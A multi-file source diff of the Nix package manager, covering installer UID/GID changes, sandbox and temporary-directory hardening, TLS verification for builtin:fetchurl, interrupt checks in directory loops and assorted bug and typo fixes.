++ lib.optional (stdenv.hostPlatform == stdenv.buildPlatform && (stdenv.isLinux || stdenv.isDarwin))

View File

@@ -1,6 +1,6 @@
#!/usr/bin/env bash
((NEW_NIX_FIRST_BUILD_UID=301))
((NEW_NIX_FIRST_BUILD_UID=351))
id_available(){
dscl . list /Users UniqueID | grep -E '\b'"$1"'\b' >/dev/null

View File

@@ -4,7 +4,17 @@ set -eu
set -o pipefail
# System specific settings
export NIX_FIRST_BUILD_UID="${NIX_FIRST_BUILD_UID:-301}"
# Notes:
# - up to macOS Big Sur we used the same GID/UIDs as Linux (30000:30001-32)
# - we changed UID to 301 because Big Sur updates failed into recovery mode
# we're targeting the 200-400 UID range for role users mentioned in the
# usage note for sysadminctl
# - we changed UID to 351 because Sequoia now uses UIDs 300-304 for its own
# daemon users
# - we changed GID to 350 alongside above just because it hides the nixbld
# group from the Users & Groups settings panel :)
export NIX_FIRST_BUILD_UID="${NIX_FIRST_BUILD_UID:-351}"
export NIX_BUILD_GROUP_ID="${NIX_BUILD_GROUP_ID:-350}"
export NIX_BUILD_USER_NAME_TEMPLATE="_nixbld%d"
readonly NIX_DAEMON_DEST=/Library/LaunchDaemons/org.nixos.nix-daemon.plist

View File

@@ -23,10 +23,10 @@ readonly RED='\033[31m'
# installer allows overriding build user count to speed up installation
# as creating each user takes non-trivial amount of time on macos
readonly NIX_USER_COUNT=${NIX_USER_COUNT:-32}
readonly NIX_BUILD_GROUP_ID="${NIX_BUILD_GROUP_ID:-30000}"
readonly NIX_BUILD_GROUP_NAME="nixbld"
# each system specific installer must set these:
# NIX_FIRST_BUILD_UID
# NIX_BUILD_GROUP_ID
# NIX_BUILD_USER_NAME_TEMPLATE
# Please don't change this. We don't support it, because the
# default shell profile that comes with Nix doesn't support it.
@@ -530,9 +530,7 @@ It seems the build group $NIX_BUILD_GROUP_NAME already exists, but
with the UID $primary_group_id. This script can't really handle
that right now, so I'm going to give up.
You can fix this by editing this script and changing the
NIX_BUILD_GROUP_ID variable near the top to from $NIX_BUILD_GROUP_ID
to $primary_group_id and re-run.
You can export NIX_BUILD_GROUP_ID=$primary_group_id and re-run.
EOF
else
row " Exists" "Yes"

View File

@@ -5,6 +5,7 @@ set -o pipefail
# System specific settings
export NIX_FIRST_BUILD_UID="${NIX_FIRST_BUILD_UID:-30001}"
export NIX_BUILD_GROUP_ID="${NIX_BUILD_GROUP_ID:-30000}"
export NIX_BUILD_USER_NAME_TEMPLATE="nixbld%d"
readonly SERVICE_SRC=/lib/systemd/system/nix-daemon.service

View File

@@ -66,7 +66,7 @@ struct ExtraPathInfoValue : ExtraPathInfo
};
/**
* An Installable which corresponds a Nix langauge value, in addition to
* An Installable which corresponds a Nix language value, in addition to
* a collection of \ref DerivedPath "derived paths".
*/
struct InstallableValue : Installable

View File

@@ -261,6 +261,7 @@ StringSet NixRepl::completePrefix(const std::string & prefix)
auto dir = std::string(cur, 0, slash);
auto prefix2 = std::string(cur, slash + 1);
for (auto & entry : std::filesystem::directory_iterator{dir == "" ? "/" : dir}) {
checkInterrupt();
auto name = entry.path().filename().string();
if (name[0] != '.' && hasPrefix(name, prefix2))
completions.insert(prev + entry.path().string());

View File

@@ -95,7 +95,7 @@ struct AttrDb
{
try {
auto state(_state->lock());
if (!failed)
if (!failed && state->txn->active)
state->txn->commit();
state->txn.reset();
} catch (...) {

View File

@@ -949,10 +949,20 @@ std::optional<Fingerprint> LockedFlake::getFingerprint(ref<Store> store) const
auto fingerprint = flake.lockedRef.input.getFingerprint(store);
if (!fingerprint) return std::nullopt;
*fingerprint += fmt(";%s;%s", flake.lockedRef.subdir, lockFile);
/* Include revCount and lastModified because they're not
necessarily implied by the content fingerprint (e.g. for
tarball flakes) but can influence the evaluation result. */
if (auto revCount = flake.lockedRef.input.getRevCount())
*fingerprint += fmt(";revCount=%d", *revCount);
if (auto lastModified = flake.lockedRef.input.getLastModified())
*fingerprint += fmt(";lastModified=%d", *lastModified);
// FIXME: as an optimization, if the flake contains a lock file
// and we haven't changed it, then it's sufficient to use
// flake.sourceInfo.storePath for the fingerprint.
return hashString(HashAlgorithm::SHA256, fmt("%s;%s;%s", *fingerprint, flake.lockedRef.subdir, lockFile));
return hashString(HashAlgorithm::SHA256, *fingerprint);
}
Flake::~Flake() { }

View File

@@ -82,8 +82,7 @@ std::optional<StorePath> PackageInfo::queryDrvPath() const
} else
drvPath = {std::nullopt};
}
drvPath.value_or(std::nullopt);
return *drvPath;
return drvPath.value_or(std::nullopt);
}

View File

@@ -79,7 +79,7 @@ StringMap EvalState::realiseContext(const NixStringContext & context, StorePathS
if (drvs.empty()) return {};
if (isIFD && !evalSettings.enableImportFromDerivation)
error<EvalError>(
error<EvalBaseError>(
"cannot build '%1%' during evaluation because the option 'allow-import-from-derivation' is disabled",
drvs.begin()->to_string(*store)
).debugThrow();

View File

@@ -278,7 +278,7 @@ private:
storePath = state.coerceToStorePath(i->pos, *i->value, context, "while evaluating the drvPath of a derivation");
}
/* This unforutately breaks printing nested values because of
/* This unfortunately breaks printing nested values because of
how the pretty printer is used (when pretting printing and warning
to same terminal / std stream). */
#if 0

View File

@@ -260,6 +260,7 @@ std::pair<ref<SourceAccessor>, Input> Input::getAccessorUnchecked(ref<Store> sto
auto [accessor, final] = scheme->getAccessor(store, *this);
assert(!accessor->fingerprint);
accessor->fingerprint = scheme->getFingerprint(store, final);
return {accessor, std::move(final)};
@@ -418,7 +419,7 @@ namespace nlohmann {
using namespace nix;
fetchers::PublicKey adl_serializer<fetchers::PublicKey>::from_json(const json & json) {
fetchers::PublicKey res = { };
fetchers::PublicKey res = { };
if (auto type = optionalValueAt(json, "type"))
res.type = getString(*type);

View File

@@ -248,10 +248,15 @@ struct GitArchiveInputScheme : InputScheme
getFileTransfer()->download(std::move(req), sink);
});
auto act = std::make_unique<Activity>(*logger, lvlInfo, actUnknown,
fmt("unpacking '%s' into the Git cache", input.to_string()));
TarArchive archive { *source };
auto parseSink = getTarballCache()->getFileSystemObjectSink();
auto lastModified = unpackTarfileToSink(archive, *parseSink);
act.reset();
TarballInfo tarballInfo {
.treeHash = parseSink->sync(),
.lastModified = lastModified
@@ -433,7 +438,7 @@ struct GitLabInputScheme : GitArchiveInputScheme
store->toRealPath(
downloadFile(store, url, "source", headers).storePath)));
if (json.is_array() && json.size() == 1 && json[0]["id"] != nullptr) {
if (json.is_array() && json.size() >= 1 && json[0]["id"] != nullptr) {
return RefInfo {
.rev = Hash::parseAny(std::string(json[0]["id"]), HashAlgorithm::SHA1)
};

View File

@@ -145,6 +145,9 @@ DownloadTarballResult downloadTarball(
// TODO: fall back to cached value if download fails.
auto act = std::make_unique<Activity>(*logger, lvlInfo, actUnknown,
fmt("unpacking '%s' into the Git cache", url));
AutoDelete cleanupTemp;
/* Note: if the download is cached, `importTarball()` will receive
@@ -169,6 +172,8 @@ DownloadTarballResult downloadTarball(
auto parseSink = getTarballCache()->getFileSystemObjectSink();
auto lastModified = unpackTarfileToSink(archive, *parseSink);
act.reset();
auto res(_res->lock());
Attrs infoAttrs;
@@ -365,6 +370,16 @@ struct TarballInputScheme : CurlInputScheme
return {result.accessor, input};
}
std::optional<std::string> getFingerprint(ref<Store> store, const Input & input) const override
{
if (auto narHash = input.getNarHash())
return narHash->to_string(HashFormat::SRI, true);
else if (auto rev = input.getRev())
return rev->gitRev();
else
return std::nullopt;
}
};
static auto rTarballInputScheme = OnStartup([] { registerInputScheme(std::make_unique<TarballInputScheme>()); });

View File

@@ -9,7 +9,8 @@ namespace nix {
void builtinFetchurl(
const BasicDerivation & drv,
const std::map<std::string, Path> & outputs,
const std::string & netrcData);
const std::string & netrcData,
const std::string & caFileData);
void builtinUnpackChannel(
const BasicDerivation & drv,

View File

@@ -1,5 +1,6 @@
#include "buildenv.hh"
#include "derivations.hh"
#include "signals.hh"
#include <sys/stat.h>
#include <sys/types.h>
@@ -30,6 +31,7 @@ static void createLinks(State & state, const Path & srcDir, const Path & dstDir,
}
for (const auto & ent : srcFiles) {
checkInterrupt();
auto name = ent.path().filename();
if (name.string()[0] == '.')
/* not matched by glob */

View File

@@ -9,7 +9,8 @@ namespace nix {
void builtinFetchurl(
const BasicDerivation & drv,
const std::map<std::string, Path> & outputs,
const std::string & netrcData)
const std::string & netrcData,
const std::string & caFileData)
{
/* Make the host's netrc data available. Too bad curl requires
this to be stored in a file. It would be nice if we could just
@@ -19,6 +20,9 @@ void builtinFetchurl(
writeFile(settings.netrcFile, netrcData, 0600);
}
settings.caFile = "ca-certificates.crt";
writeFile(settings.caFile, caFileData, 0600);
auto out = get(drv.outputs, "out");
if (!out)
throw Error("'builtin:fetchurl' requires an 'out' output");
@@ -38,10 +42,7 @@ void builtinFetchurl(
auto source = sinkToSource([&](Sink & sink) {
/* No need to do TLS verification, because we check the hash of
the result anyway. */
FileTransferRequest request(url);
request.verifyTLS = false;
request.decompress = false;
auto decompressor = makeDecompressionSink(

View File

@@ -70,7 +70,10 @@ struct curlFileTransfer : public FileTransfer
curl_off_t writtenToSink = 0;
std::chrono::steady_clock::time_point startTime = std::chrono::steady_clock::now();
inline static const std::set<long> successfulStatuses {200, 201, 204, 206, 304, 0 /* other protocol */};
/* Get the HTTP status code, or 0 for other protocols. */
long getHTTPStatus()
{
@@ -372,10 +375,14 @@ struct curlFileTransfer : public FileTransfer
void finish(CURLcode code)
{
auto finishTime = std::chrono::steady_clock::now();
auto httpStatus = getHTTPStatus();
debug("finished %s of '%s'; curl status = %d, HTTP status = %d, body = %d bytes",
request.verb(), request.uri, code, httpStatus, result.bodySize);
debug("finished %s of '%s'; curl status = %d, HTTP status = %d, body = %d bytes, duration = %.2f s",
request.verb(), request.uri, code, httpStatus, result.bodySize,
std::chrono::duration_cast<std::chrono::milliseconds>(finishTime - startTime).count() / 1000.0f
);
appendCurrentUrl();
@@ -850,8 +857,10 @@ void FileTransfer::download(
buffer). We don't wait forever to prevent stalling the
download thread. (Hopefully sleeping will throttle the
sender.) */
if (state->data.size() > 1024 * 1024) {
if (state->data.size() > fileTransferSettings.downloadBufferSize) {
debug("download buffer is full; going to sleep");
static bool haveWarned = false;
warnOnce(haveWarned, "download buffer is full; consider increasing the 'download-buffer-size' setting");
state.wait_for(state->request, std::chrono::seconds(10));
}

View File

@@ -45,6 +45,12 @@ struct FileTransferSettings : Config
Setting<unsigned int> tries{this, 5, "download-attempts",
"How often Nix will attempt to download a file before giving up."};
Setting<size_t> downloadBufferSize{this, 64 * 1024 * 1024, "download-buffer-size",
R"(
The size of Nix's internal download buffer during `curl` transfers. If data is
not processed quickly enough to exceed the size of this buffer, downloads may stall.
)"};
};
extern FileTransferSettings fileTransferSettings;

View File

@@ -162,6 +162,7 @@ void LocalStore::findTempRoots(Roots & tempRoots, bool censor)
/* Read the `temproots' directory for per-process temporary root
files. */
for (auto & i : std::filesystem::directory_iterator{tempRootsDir}) {
checkInterrupt();
auto name = i.path().filename().string();
if (name[0] == '.') {
// Ignore hidden files. Some package managers (notably portage) create
@@ -228,8 +229,10 @@ void LocalStore::findRoots(const Path & path, std::filesystem::file_type type, R
type = std::filesystem::symlink_status(path).type();
if (type == std::filesystem::file_type::directory) {
for (auto & i : std::filesystem::directory_iterator{path})
for (auto & i : std::filesystem::directory_iterator{path}) {
checkInterrupt();
findRoots(i.path().string(), i.symlink_status().type(), roots);
}
}
else if (type == std::filesystem::file_type::symlink) {

View File

@@ -4,6 +4,7 @@
#include "args.hh"
#include "abstract-setting-to-json.hh"
#include "compute-levels.hh"
#include "signals.hh"
#include <algorithm>
#include <map>
@@ -346,14 +347,17 @@ void initPlugins()
std::vector<std::filesystem::path> pluginFiles;
try {
auto ents = std::filesystem::directory_iterator{pluginFile};
for (const auto & ent : ents)
for (const auto & ent : ents) {
checkInterrupt();
pluginFiles.emplace_back(ent.path());
}
} catch (std::filesystem::filesystem_error & e) {
if (e.code() != std::errc::not_a_directory)
throw;
pluginFiles.emplace_back(pluginFile);
}
for (const auto & file : pluginFiles) {
checkInterrupt();
/* handle is purposefully leaked as there may be state in the
DSO needed by the action of the plugin. */
#ifndef _WIN32 // TODO implement via DLL loading on Windows

View File

@@ -1,6 +1,7 @@
#include "binary-cache-store.hh"
#include "globals.hh"
#include "nar-info-disk-cache.hh"
#include "signals.hh"
#include <atomic>
@@ -88,6 +89,7 @@ protected:
StorePathSet paths;
for (auto & entry : std::filesystem::directory_iterator{binaryCacheDir}) {
checkInterrupt();
auto name = entry.path().filename().string();
if (name.size() != 40 ||
!hasSuffix(name, ".narinfo"))

View File

@@ -1417,6 +1417,7 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair)
printInfo("checking link hashes...");
for (auto & link : std::filesystem::directory_iterator{linksDir}) {
checkInterrupt();
auto name = link.path().filename();
printMsg(lvlTalkative, "checking contents of '%s'", name);
PosixSourceAccessor accessor;
@@ -1509,6 +1510,7 @@ LocalStore::VerificationResult LocalStore::verifyAllValidPaths(RepairFlag repair
invalid states.
*/
for (auto & i : std::filesystem::directory_iterator{realStoreDir.to_string()}) {
checkInterrupt();
try {
storePathsInStoreDir.insert({i.path().filename().string()});
} catch (BadStorePath &) { }

View File

@@ -144,13 +144,15 @@ static void canonicalisePathMetaData_(
#endif
if (S_ISDIR(st.st_mode)) {
for (auto & i : std::filesystem::directory_iterator{path})
for (auto & i : std::filesystem::directory_iterator{path}) {
checkInterrupt();
canonicalisePathMetaData_(
i.path().string(),
#ifndef _WIN32
uidRange,
#endif
inodesSeen);
}
}
}

View File

@@ -1,4 +1,5 @@
#include "profiles.hh"
#include "signals.hh"
#include "store-api.hh"
#include "local-fs-store.hh"
#include "users.hh"
@@ -38,6 +39,7 @@ std::pair<Generations, std::optional<GenerationNumber>> findGenerations(Path pro
auto profileName = std::string(baseNameOf(profile));
for (auto & i : std::filesystem::directory_iterator{profileDir}) {
checkInterrupt();
if (auto n = parseName(profileName, i.path().filename().string())) {
auto path = i.path().string();
gens.push_back({

View File

@@ -58,6 +58,10 @@
#if __APPLE__
#include <spawn.h>
#include <sys/sysctl.h>
#include <sandbox.h>
/* This definition is undocumented but depended upon by all major browsers. */
extern "C" int sandbox_init_with_parameters(const char *profile, uint64_t flags, const char *const parameters[], char **errorbuf);
#endif
#include <pwd.h>
@@ -503,8 +507,24 @@ void LocalDerivationGoal::startBuilder()
/* Create a temporary directory where the build will take
place. */
tmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700);
topTmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700);
#if __APPLE__
if (false) {
#else
if (useChroot) {
#endif
/* If sandboxing is enabled, put the actual TMPDIR underneath
an inaccessible root-owned directory, to prevent outside
access.
On macOS, we don't use an actual chroot, so this isn't
possible. Any mitigation along these lines would have to be
done directly in the sandbox profile. */
tmpDir = topTmpDir + "/build";
createDir(tmpDir, 0700);
} else {
tmpDir = topTmpDir;
}
chownToBuilder(tmpDir);
for (auto & [outputName, status] : initialOutputs) {
@@ -672,15 +692,19 @@ void LocalDerivationGoal::startBuilder()
environment using bind-mounts. We put it in the Nix store
so that the build outputs can be moved efficiently from the
chroot to their final location. */
chrootRootDir = worker.store.Store::toRealPath(drvPath) + ".chroot";
deletePath(chrootRootDir);
chrootParentDir = worker.store.Store::toRealPath(drvPath) + ".chroot";
deletePath(chrootParentDir);
/* Clean up the chroot directory automatically. */
autoDelChroot = std::make_shared<AutoDelete>(chrootRootDir);
autoDelChroot = std::make_shared<AutoDelete>(chrootParentDir);
printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootRootDir);
printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootParentDir);
if (mkdir(chrootParentDir.c_str(), 0700) == -1)
throw SysError("cannot create '%s'", chrootRootDir);
chrootRootDir = chrootParentDir + "/root";
// FIXME: make this 0700
if (mkdir(chrootRootDir.c_str(), buildUser && buildUser->getUIDCount() != 1 ? 0755 : 0750) == -1)
throw SysError("cannot create '%1%'", chrootRootDir);
@@ -1721,13 +1745,20 @@ void LocalDerivationGoal::runChild()
bool setUser = true;
/* Make the contents of netrc available to builtin:fetchurl
(which may run under a different uid and/or in a sandbox). */
/* Make the contents of netrc and the CA certificate bundle
available to builtin:fetchurl (which may run under a
different uid and/or in a sandbox). */
std::string netrcData;
try {
if (drv->isBuiltin() && drv->builder == "builtin:fetchurl")
netrcData = readFile(settings.netrcFile);
} catch (SystemError &) { }
std::string caFileData;
if (drv->isBuiltin() && drv->builder == "builtin:fetchurl") {
try {
netrcData = readFile(settings.netrcFile);
} catch (SystemError &) { }
try {
caFileData = readFile(settings.caFile);
} catch (SystemError &) { }
}
#if __linux__
if (useChroot) {
@@ -2002,154 +2033,130 @@ void LocalDerivationGoal::runChild()
throw SysError("setuid failed");
}
/* Fill in the arguments. */
Strings args;
std::string builder = "invalid";
if (drv->isBuiltin()) {
;
}
#if __APPLE__
else {
/* This has to appear before import statements. */
std::string sandboxProfile = "(version 1)\n";
/* This has to appear before import statements. */
std::string sandboxProfile = "(version 1)\n";
if (useChroot) {
if (useChroot) {
/* Lots and lots and lots of file functions freak out if they can't stat their full ancestry */
PathSet ancestry;
/* Lots and lots and lots of file functions freak out if they can't stat their full ancestry */
PathSet ancestry;
/* We build the ancestry before adding all inputPaths to the store because we know they'll
all have the same parents (the store), and there might be lots of inputs. This isn't
particularly efficient... I doubt it'll be a bottleneck in practice */
for (auto & i : pathsInChroot) {
Path cur = i.first;
while (cur.compare("/") != 0) {
cur = dirOf(cur);
ancestry.insert(cur);
}
}
/* And we want the store in there regardless of how empty pathsInChroot. We include the innermost
path component this time, since it's typically /nix/store and we care about that. */
Path cur = worker.store.storeDir;
/* We build the ancestry before adding all inputPaths to the store because we know they'll
all have the same parents (the store), and there might be lots of inputs. This isn't
particularly efficient... I doubt it'll be a bottleneck in practice */
for (auto & i : pathsInChroot) {
Path cur = i.first;
while (cur.compare("/") != 0) {
ancestry.insert(cur);
cur = dirOf(cur);
ancestry.insert(cur);
}
}
/* Add all our input paths to the chroot */
for (auto & i : inputPaths) {
auto p = worker.store.printStorePath(i);
pathsInChroot[p] = p;
}
/* And we want the store in there regardless of how empty pathsInChroot. We include the innermost
path component this time, since it's typically /nix/store and we care about that. */
Path cur = worker.store.storeDir;
while (cur.compare("/") != 0) {
ancestry.insert(cur);
cur = dirOf(cur);
}
/* Violations will go to the syslog if you set this. Unfortunately the destination does not appear to be configurable */
if (settings.darwinLogSandboxViolations) {
sandboxProfile += "(deny default)\n";
} else {
sandboxProfile += "(deny default (with no-log))\n";
}
/* Add all our input paths to the chroot */
for (auto & i : inputPaths) {
auto p = worker.store.printStorePath(i);
pathsInChroot[p] = p;
}
sandboxProfile +=
#include "sandbox-defaults.sb"
;
if (!derivationType->isSandboxed())
sandboxProfile +=
#include "sandbox-network.sb"
;
/* Add the output paths we'll use at build-time to the chroot */
sandboxProfile += "(allow file-read* file-write* process-exec\n";
for (auto & [_, path] : scratchOutputs)
sandboxProfile += fmt("\t(subpath \"%s\")\n", worker.store.printStorePath(path));
sandboxProfile += ")\n";
/* Our inputs (transitive dependencies and any impurities computed above)
without file-write* allowed, access() incorrectly returns EPERM
*/
sandboxProfile += "(allow file-read* file-write* process-exec\n";
for (auto & i : pathsInChroot) {
if (i.first != i.second.source)
throw Error(
"can't map '%1%' to '%2%': mismatched impure paths not supported on Darwin",
i.first, i.second.source);
std::string path = i.first;
auto optSt = maybeLstat(path.c_str());
if (!optSt) {
if (i.second.optional)
continue;
throw SysError("getting attributes of required path '%s", path);
}
if (S_ISDIR(optSt->st_mode))
sandboxProfile += fmt("\t(subpath \"%s\")\n", path);
else
sandboxProfile += fmt("\t(literal \"%s\")\n", path);
}
sandboxProfile += ")\n";
/* Allow file-read* on full directory hierarchy to self. Allows realpath() */
sandboxProfile += "(allow file-read*\n";
for (auto & i : ancestry) {
sandboxProfile += fmt("\t(literal \"%s\")\n", i);
}
sandboxProfile += ")\n";
sandboxProfile += additionalSandboxProfile;
} else
sandboxProfile +=
#include "sandbox-minimal.sb"
;
debug("Generated sandbox profile:");
debug(sandboxProfile);
Path sandboxFile = tmpDir + "/.sandbox.sb";
writeFile(sandboxFile, sandboxProfile);
bool allowLocalNetworking = parsedDrv->getBoolAttr("__darwinAllowLocalNetworking");
/* The tmpDir in scope points at the temporary build directory for our derivation. Some packages try different mechanisms
to find temporary directories, so we want to open up a broader place for them to put their files, if needed. */
Path globalTmpDir = canonPath(defaultTempDir(), true);
/* They don't like trailing slashes on subpath directives */
while (!globalTmpDir.empty() && globalTmpDir.back() == '/')
globalTmpDir.pop_back();
if (getEnv("_NIX_TEST_NO_SANDBOX") != "1") {
builder = "/usr/bin/sandbox-exec";
args.push_back("sandbox-exec");
args.push_back("-f");
args.push_back(sandboxFile);
args.push_back("-D");
args.push_back("_GLOBAL_TMP_DIR=" + globalTmpDir);
if (allowLocalNetworking) {
args.push_back("-D");
args.push_back(std::string("_ALLOW_LOCAL_NETWORKING=1"));
}
args.push_back(drv->builder);
/* Violations will go to the syslog if you set this. Unfortunately the destination does not appear to be configurable */
if (settings.darwinLogSandboxViolations) {
sandboxProfile += "(deny default)\n";
} else {
builder = drv->builder;
args.push_back(std::string(baseNameOf(drv->builder)));
sandboxProfile += "(deny default (with no-log))\n";
}
sandboxProfile +=
#include "sandbox-defaults.sb"
;
if (!derivationType->isSandboxed())
sandboxProfile +=
#include "sandbox-network.sb"
;
/* Add the output paths we'll use at build-time to the chroot */
sandboxProfile += "(allow file-read* file-write* process-exec\n";
for (auto & [_, path] : scratchOutputs)
sandboxProfile += fmt("\t(subpath \"%s\")\n", worker.store.printStorePath(path));
sandboxProfile += ")\n";
/* Our inputs (transitive dependencies and any impurities computed above)
without file-write* allowed, access() incorrectly returns EPERM
*/
sandboxProfile += "(allow file-read* file-write* process-exec\n";
for (auto & i : pathsInChroot) {
if (i.first != i.second.source)
throw Error(
"can't map '%1%' to '%2%': mismatched impure paths not supported on Darwin",
i.first, i.second.source);
std::string path = i.first;
auto optSt = maybeLstat(path.c_str());
if (!optSt) {
if (i.second.optional)
continue;
throw SysError("getting attributes of required path '%s", path);
}
if (S_ISDIR(optSt->st_mode))
sandboxProfile += fmt("\t(subpath \"%s\")\n", path);
else
sandboxProfile += fmt("\t(literal \"%s\")\n", path);
}
sandboxProfile += ")\n";
/* Allow file-read* on full directory hierarchy to self. Allows realpath() */
sandboxProfile += "(allow file-read*\n";
for (auto & i : ancestry) {
sandboxProfile += fmt("\t(literal \"%s\")\n", i);
}
sandboxProfile += ")\n";
sandboxProfile += additionalSandboxProfile;
} else
sandboxProfile +=
#include "sandbox-minimal.sb"
;
debug("Generated sandbox profile:");
debug(sandboxProfile);
bool allowLocalNetworking = parsedDrv->getBoolAttr("__darwinAllowLocalNetworking");
/* The tmpDir in scope points at the temporary build directory for our derivation. Some packages try different mechanisms
to find temporary directories, so we want to open up a broader place for them to put their files, if needed. */
Path globalTmpDir = canonPath(defaultTempDir(), true);
/* They don't like trailing slashes on subpath directives */
while (!globalTmpDir.empty() && globalTmpDir.back() == '/')
globalTmpDir.pop_back();
if (getEnv("_NIX_TEST_NO_SANDBOX") != "1") {
Strings sandboxArgs;
sandboxArgs.push_back("_GLOBAL_TMP_DIR");
sandboxArgs.push_back(globalTmpDir);
if (allowLocalNetworking) {
sandboxArgs.push_back("_ALLOW_LOCAL_NETWORKING");
sandboxArgs.push_back("1");
}
char * sandbox_errbuf = nullptr;
if (sandbox_init_with_parameters(sandboxProfile.c_str(), 0, stringsToCharPtrs(sandboxArgs).data(), &sandbox_errbuf)) {
writeFull(STDERR_FILENO, fmt("failed to configure sandbox: %s\n", sandbox_errbuf ? sandbox_errbuf : "(null)"));
_exit(1);
}
}
#else
else {
builder = drv->builder;
args.push_back(std::string(baseNameOf(drv->builder)));
}
#endif
for (auto & i : drv->args)
args.push_back(rewriteStrings(i, inputRewrites));
/* Indicate that we managed to set up the build environment. */
writeFull(STDERR_FILENO, std::string("\2\n"));
@@ -2166,7 +2173,7 @@ void LocalDerivationGoal::runChild()
worker.store.printStorePath(scratchOutputs.at(e.first)));
if (drv->builder == "builtin:fetchurl")
builtinFetchurl(*drv, outputs, netrcData);
builtinFetchurl(*drv, outputs, netrcData, caFileData);
else if (drv->builder == "builtin:buildenv")
builtinBuildenv(*drv, outputs);
else if (drv->builder == "builtin:unpack-channel")
@@ -2180,6 +2187,14 @@ void LocalDerivationGoal::runChild()
}
}
// Now builder is not builtin
Strings args;
args.push_back(std::string(baseNameOf(drv->builder)));
for (auto & i : drv->args)
args.push_back(rewriteStrings(i, inputRewrites));
#if __APPLE__
posix_spawnattr_t attrp;
@@ -2201,9 +2216,9 @@ void LocalDerivationGoal::runChild()
posix_spawnattr_setbinpref_np(&attrp, 1, &cpu, NULL);
}
posix_spawn(NULL, builder.c_str(), NULL, &attrp, stringsToCharPtrs(args).data(), stringsToCharPtrs(envStrs).data());
posix_spawn(NULL, drv->builder.c_str(), NULL, &attrp, stringsToCharPtrs(args).data(), stringsToCharPtrs(envStrs).data());
#else
execve(builder.c_str(), stringsToCharPtrs(args).data(), stringsToCharPtrs(envStrs).data());
execve(drv->builder.c_str(), stringsToCharPtrs(args).data(), stringsToCharPtrs(envStrs).data());
#endif
throw SysError("executing '%1%'", drv->builder);
@@ -2952,15 +2967,17 @@ void LocalDerivationGoal::checkOutputs(const std::map<std::string, ValidPathInfo
void LocalDerivationGoal::deleteTmpDir(bool force)
{
if (tmpDir != "") {
if (topTmpDir != "") {
/* Don't keep temporary directories for builtins because they
might have privileged stuff (like a copy of netrc). */
if (settings.keepFailed && !force && !drv->isBuiltin()) {
printError("note: keeping build directory '%s'", tmpDir);
chmod(topTmpDir.c_str(), 0755);
chmod(tmpDir.c_str(), 0755);
}
else
deletePath(tmpDir);
deletePath(topTmpDir);
topTmpDir = "";
tmpDir = "";
}
}

View File

@@ -27,10 +27,16 @@ struct LocalDerivationGoal : public DerivationGoal
std::optional<Path> cgroup;
/**
* The temporary directory.
* The temporary directory used for the build.
*/
Path tmpDir;
/**
* The top-level temporary directory. `tmpDir` is either equal to
* or a child of this directory.
*/
Path topTmpDir;
/**
* The path of the temporary directory in the sandbox.
*/
@@ -65,6 +71,16 @@ struct LocalDerivationGoal : public DerivationGoal
*/
bool useChroot = false;
/**
* The parent directory of `chrootRootDir`. It has permission 700
* and is owned by root to ensure other users cannot mess with
* `chrootRootDir`.
*/
Path chrootParentDir;
/**
* The root of the chroot environment.
*/
Path chrootRootDir;
/**

View File

@@ -46,6 +46,7 @@ R""(
(if (param "_ALLOW_LOCAL_NETWORKING")
(begin
(allow network* (remote ip "localhost:*"))
(allow network-inbound (local ip "*:*")) ; required to bind and listen
; Allow access to /etc/resolv.conf (which is a symlink to
; /private/var/run/resolv.conf).

View File

@@ -23,7 +23,7 @@ struct ArchiveSettings : Config
false,
#endif
"use-case-hack",
"Whether to enable a Darwin-specific hack for dealing with file name collisions."};
"Whether to enable a macOS-specific hack for dealing with file name case collisions."};
};
static ArchiveSettings archiveSettings;
@@ -214,11 +214,13 @@ static void parse(FileSystemObjectSink & sink, Source & source, const Path & pat
else if (t == "directory") {
sink.createDirectory(path);
std::string prevName;
while (1) {
s = getString();
if (s == "entry") {
std::string name, prevName;
std::string name;
s = getString();
if (s != "(") throw badArchive("expected open tag");
@@ -241,6 +243,9 @@ static void parse(FileSystemObjectSink & sink, Source & source, const Path & pat
debug("case collision between '%1%' and '%2%'", i->first, name);
name += caseHackSuffix;
name += std::to_string(++i->second);
auto j = names.find(name);
if (j != names.end())
throw Error("NAR contains file name '%s' that collides with case-hacked file name '%s'", prevName, j->first);
} else
names[name] = 0;
}

View File

@@ -412,6 +412,11 @@ void deletePath(const fs::path & path)
deletePath(path, dummy);
}
void createDir(const Path & path, mode_t mode)
{
if (mkdir(path.c_str(), mode) == -1)
throw SysError("creating directory '%1%'", path);
}
Paths createDirs(const Path & path)
{

View File

@@ -157,6 +157,11 @@ inline Paths createDirs(PathView path)
return createDirs(Path(path));
}
/**
* Create a single directory.
*/
void createDir(const Path & path, mode_t mode = 0755);
/**
* Create a symlink.
*/

View File

@@ -52,11 +52,11 @@ bool Hash::operator == (const Hash & h2) const
std::strong_ordering Hash::operator <=> (const Hash & h) const
{
if (auto cmp = algo <=> h.algo; cmp != 0) return cmp;
if (auto cmp = hashSize <=> h.hashSize; cmp != 0) return cmp;
for (unsigned int i = 0; i < hashSize; i++) {
if (auto cmp = hash[i] <=> h.hash[i]; cmp != 0) return cmp;
}
if (auto cmp = algo <=> h.algo; cmp != 0) return cmp;
return std::strong_ordering::equivalent;
}

View File

@@ -1,4 +1,5 @@
#include "cgroup.hh"
#include "signals.hh"
#include "util.hh"
#include "file-system.hh"
#include "finally.hh"
@@ -65,6 +66,7 @@ static CgroupStats destroyCgroup(const std::filesystem::path & cgroup, bool retu
/* Otherwise, manually kill every process in the subcgroups and
this cgroup. */
for (auto & entry : std::filesystem::directory_iterator{cgroup}) {
checkInterrupt();
if (entry.symlink_status().type() != std::filesystem::file_type::directory) continue;
destroyCgroup(cgroup / entry.path().filename(), false);
}

View File

@@ -133,6 +133,7 @@ SourceAccessor::DirEntries PosixSourceAccessor::readDirectory(const CanonPath &
assertNoSymlinks(path);
DirEntries res;
for (auto & entry : std::filesystem::directory_iterator{makeAbsPath(path)}) {
checkInterrupt();
auto type = [&]() -> std::optional<Type> {
std::filesystem::file_type nativeType;
try {

View File

@@ -22,7 +22,7 @@ Key::Key(std::string_view s)
key = ss.payload;
if (name == "" || key == "")
throw Error("secret key is corrupt");
throw Error("key is corrupt");
key = base64Decode(key);
}

View File

